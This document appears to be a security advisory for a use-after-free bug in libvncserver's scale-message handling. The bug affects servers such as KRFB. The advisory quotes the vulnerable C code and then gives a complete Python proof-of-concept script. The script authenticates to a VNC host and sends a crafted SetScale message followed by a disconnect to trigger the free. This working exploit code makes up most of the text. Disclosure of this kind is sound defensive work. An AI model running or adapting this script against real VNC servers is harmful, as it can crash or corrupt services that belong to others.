Reported by Ken Johnson <Ken.Johnson1@telus.com>.
The vulnerability would occur in both the rfbPalmVNCSetScaleFactor and rfbSetScale cases in the rfbProcessClientNormalMessage function of rfbserver.c. Sending a valid scaling factor is required (non-zero)
if (msg.ssc.scale == 0) {
rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero");
rfbCloseClient(cl);
return;
}
rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg);
rfbLog("rfbSetScale(%d)\n", msg.ssc.scale);
rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale);
rfbSendNewScaleSize(cl); << This is the call that can trigger a free.
return;
at the end, both cases there is a call the rfbSendNewScaleSize function, where if the connection is subsequently disconnected after sending the VNC scaling message can lead to a free occurring.
else
{
rfbResizeFrameBufferMsg rmsg;
rmsg.type = rfbResizeFrameBuffer;
rmsg.pad1=0;
rmsg.framebufferWidth = Swap16IfLE(cl->scaledScreen->width);
rmsg.framebufferHeigth = Swap16IfLE(cl->scaledScreen->height);
rfbLog("Sending a response to a UltraVNC style frameuffer resize event (%dx%d)\n", cl->scaledScreen->width, cl->scaledScreen->height);
if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
rfbLogPerror("rfbNewClient: write");
rfbCloseClient(cl);
rfbClientConnectionGone(cl); << Call which may can lead to a free.
return FALSE;
}
}
return TRUE;
Once this function returns, eventually rfbClientConnectionGone is called again on the return from rfbProcessClientNormalMessage. In KRFB server this leads to an attempt to access client->data.
POC script to trigger the vulnerability:
---snip---
import socket,binascii,struct,sys
from time import sleep
class RFB:
INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
AUTH_NO_PASS = "\x01"
AUTH_PASS = "\x02"
SHARE_DESKTOP = "\x01"
def AUTH_PROCESS(self,data,flag):
if flag == 0:
# Get security types
secTypeCount = data[0]
secType = {}
for i in range(int(len(secTypeCount))):
secType[i] = data[1]
return secType
elif flag == 1:
# Get auth result
# 0 means auth success
# 1 means failure
return data[3]
def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD):
try:
from Crypto.Cipher import DES
except:
print "Error importing crypto. Please fix or do not require authentication"
sys.exit(1)
if len(PASSWORD) != 8:
PASSWORD = PASSWORD.ljust(8, '\0')
PASSWORD_SWAP = [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]
PASSWORD = (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))
crypto = DES.new(PASSWORD)
return crypto.encrypt(data)
def reverse_bits(self,x):
a=0
for i in range(8):
a += ((x>>i)&1)<<(7-i)
return a
def main(argv):
print "Proof of Concept"
print "Copyright TELUS Security Labs"
print "All Rights Reserved.\n"
try:
HOST = sys.argv[1]
PORT = int(sys.argv[2])
except:
print "Usage: python setscale_segv_poc.py <host> <port> [password]"
sys.exit(1)
try:
PASSWORD = sys.argv[3]
except:
print "No password supplied"
PASSWORD = ""
vnc = RFB()
remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote.connect((HOST,PORT))
# Get server version
data = remote.recv(1024)
# Send 3.8 version
remote.send(vnc.INIT_3008)
# Get supported security types
data = remote.recv(1024)
# Process Security Message
secType = vnc.AUTH_PROCESS(data,0)
if secType[0] == "\x02":
# Send accept for password auth
remote.send(vnc.AUTH_PASS)
# Get challenge
data = remote.recv(1024)
# Send challenge response
remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD))
elif secType[0] == "\x01":
# Send accept for None pass
remote.send(vnc.AUTH_NO_PASS)
else:
print 'The server sent us something weird during auth.'
sys.exit(1)
# Get result
data = remote.recv(1024)
# Process result
result = vnc.AUTH_PROCESS(data,1)
if result == "\x01":
# Authentication failure.
data = remote.recv(1024)
print 'Authentication failure. Server Reason: ' + str(data)
sys.exit(1)
elif result == "\x00":
print "Authentication success."
else:
print 'Some other authentication issue occured.'
sys.exit(1)
# Send ClientInit
remote.send(vnc.SHARE_DESKTOP)
# Send malicious message
print "Sending malicious data..."
remote.send("\x08\x08\x00\x00")
remote.close()
if __name__ == "__main__":
main(sys.argv)
---snap---
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